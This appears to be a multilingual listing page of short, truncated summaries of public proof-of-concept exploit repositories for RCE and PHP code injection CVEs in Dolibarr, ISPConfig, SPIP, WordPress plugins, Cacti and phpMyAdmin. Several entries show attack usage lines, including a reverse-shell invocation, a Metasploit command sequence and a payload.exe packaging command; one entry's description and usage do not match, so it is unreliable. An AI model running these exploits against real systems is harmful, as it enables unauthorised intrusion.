Exploit-for-Dolibarr-17.0.0-CVE-2023-30253

POC-Exploit für Dolibarr example: python3 exploit.py http://example.com login password 127.0.0.1 9001 ---Reverse Shell Exploit for Dolibarr = 17.0.0 CVE-2023-30253--- positional arguments: hostname Target hostname username Username of Dolibarr ERP/CRM password Password of Dolibarr ERP/CRM lhost...

CVE-2023-27372

CVE-2023-27372 Exploit Exploit für CVE-2023-27372 , eine nicht authentifizierte Remote Code Execution Schwachstelle im SPIP CMS, die Versionen vor 4.2.1 betrifft. ⚠️ Nur für Bildungszwecke. Ausschließlich auf Systemen verwenden, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche...

By-Poloss..-..CVE-2017-20251

CVE-2017-20251: PHP-Code-Injection im Insert-PHP-Plugin Schwachstellentitel Unauthentifizierte PHP-Code-Injection über Shortcode-Verarbeitung im Insert-PHP-Plugin Grundlegende Informationen...

CVE-2023-46818

CVE-2023-46818 - ISPConfig PHP-Codeausführung | Exploit Hohe Codeausführung aus der Ferne in ISPConfig PoC-Implementierung. Zusammenfassung ISPConfig-Versionen /admin/languageedit.php — verwundbarer Endpunkt von ISPConfig...

CVE-2025-62429

CVE-2025-62429 PoC - clipbucket RCE Prova de Conceito para RCE via Injeção de Código PHP em updatelaunch.php Divulgação: Originalmente reportado por mim via GHSA-3h9c-7j8r-xc3v ⚠️ Uso autorizado apenas para testes de penetração/pesquisa. Informações da Vulnerabilidade...

CVE-2023-46818

Metasploit-Modul Metasploit-Modul root@kitploit: use exploit/linux/http/ispconfiglanguageedit set RHOSTS target.com set USERNAME admin set PASSWORD password123 set LHOST 127.0.0.1 set LPORT 4444 exploit Ein Problem wurde in ISPConfig vor Version 3.2.11p1 entdeckt. PHP-Code-Injection kann im...

CVE-2020-8644-PlaySMS-1.4

CVE-2020-8644-PlaySMS-1.4 Script Python para explorar PlaySMS anterior à versão 1.4.3 Execução Abra uma porta na sua máquina: E então execute o exploit.py: root@kitploit: ./exploit.py Alterando o exploit Você pode querer alterar a reverse shell criada pelo exploit.py Para fazer isso, você pode...

CVE-2024-7094

CVE-2024-7094 CVE-2024-7094 Verificador de Vulnerabilidade Tipo de vulnerabilidade: PHP Code Injection...

CVE-2024-9441

Nortek Linear eMerge E3 PoC de RCE Pré-Autenticação CVE-2024-9441 Descrição: Este repositório contém uma prova de conceito PoC de exploit para o Nortek Linear eMerge E3 CVE-2024-9441, que é vulnerável a Execução Remota de Código RCE em estado de pré-autenticação. A vulnerabilidade é acionada por...

CVE-2023-46818-python-exploit

Exploração do CVE-2023-46818 Esta é uma versão em python do script php original para a vulnerabilidade que afeta o ispconfig 3.2.11 e versões anteriores. Fonte PHP original: https://packetstormsecurity.com/files/176126/ISPConfig-3.2.11-PHP-Code-Injection.html Esta prova de conceito destina-se...

CVE-2022-29359

School Club Application System Problem: Nicht authentifiziertes gespeichertes Cross-Site-Scripting zu HTML-Injection zu RCE Autor: Zak Clifford Datum: 12.04.2022 Anbieter: https://www.sourcecodester.com/php/15266/school-club-application-system-phpoop-free-source-code.html Software:...

CVE-2026-3300

CVE-2026-3300 - Everest Forms Pro Cross-Site Scripting Armazenado Não Autenticado Uso Rápido root@kitploit: python3 exploit.py -t "C:\Path\To\Target" -o demo.zip --data-file payload.exe Notas de Exploração Gravidade: CRÍTICO CVSS: 9.8 Impacto: Confidencialidade, Integridade, Disponibilidade...

POC-exploit-for-Dolibarr

POC exploit per Dolibarr example: python3 exploit.py http://example.com login password 127.0.0.1 9001 ---Reverse Shell Exploit for Dolibarr = 17.0.0 CVE-2023-30253--- positional arguments: hostname Target hostname username Username of Dolibarr ERP/CRM password Password of Dolibarr ERP/CRM lhost...

CVE-2023-46818

CVE-2023-46818 ISPConfig - PHP कोड इंजेक्शन PoC शोषण Bash CVE-2023-46818 ISPConfig में प्रमाणित PHP कोड इंजेक्शन अधिक जानकारी के लिए: सलाह CVE-2023-46818 PoC परिचय ISPConfig संस्करण नोट: इस शोषण के लिए मान्य ISPConfig व्यवस्थापक क्रेडेंशियल की आवश्यकता होती है और यह /admin/sh.php पर एक कमांड वेब...

CVE-2024-9162

CVE-2024-9162 All-in-One WP Migration and Backup = 7.86 - प्रमाणित व्यवस्थापक+ मनमाना PHP कोड इंजेक्शन वर्डप्रेस के लिए All-in-One WP Migration प्लगइन 7.86 तक के सभी संस्करणों 7.86 सहित में निर्यात के दौरान फ़ाइल प्रकार सत्यापन की कमी के कारण मनमाना PHP कोड इंजेक्शन के प्रति असुरक्षित है। यह...

CVE-2024-25600

Exploit CVE-2024-25600 - Exécution de code à distance RCE sur WordPress Bricks Builder Un script d'exploitation pour CVE-2024-25600 , une vulnérabilité critique d'exécution de code à distance RCE non authentifiée dans le plugin Bricks Builder pour WordPress. Cet outil détecte la faille, extrait l...

pocs

minervais.com.phpMyAdminRCE.sh phpMyAdmin '/scripts/setup.php' PHP Code Injection RCE POC. Dies war der erste öffentlich veröffentlichte Exploit für CVE-2009-1151. Syntax root@kitploit: $ ./phpMyAdminRCE.sh usage: ./phpMyAdminRCE.sh i.e.: ./phpMyAdminRCE.sh http://target.tld/phpMyAdmin/ Demo...

CVE-2024-43363

CVE-2024-43363 سكربت استغلال CVE-2024-43363 تم تصميم سكربت بايثون هذا لاختبار ما إذا كان مثيل Cacti عرضة لثغرة CVE-2024-43363، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد RCE ناتجة عن تسميم السجلات. كيف تعمل الثغرة: root@kitploit: تسميم السجلات: يقوم المهاجم بحقن كود PHP في أسماء الأجهزة، ويتم تسجيل ذل...

CVE-2023-46818

CVE-2023-46818 ISPConfig - PHP कोड इंजेक्शन PoC एक्सप्लॉइट Bash परिचय ISPConfig के संस्करण = 3.2.11, /admin/languageedit.php एंडपॉइंट में records पैरामीटर के माध्यम से एक प्रमाणित PHP कोड इंजेक्शन भेद्यता के लिए संवेदनशील हैं। एक दुर्भावनापूर्ण प्रमाणित व्यवस्थापक उपयोगकर्ता इसका उपयोग करके मनमान...

CVE-2023-46818-Exploit

CVE-2023-46818-Exploit Dies ist mein eigener Exploit für CVE-2023-46818. Viel Spaß beim Hacken! Dieser Exploit automatisiert den in CVE-2023-46818 beschriebenen Angriff, indem er eine PHP-Code-Injection-Schwachstelle in ISPConfig Version 3.2.11 und früher ausnutzt. Er meldet sich mit gültigen...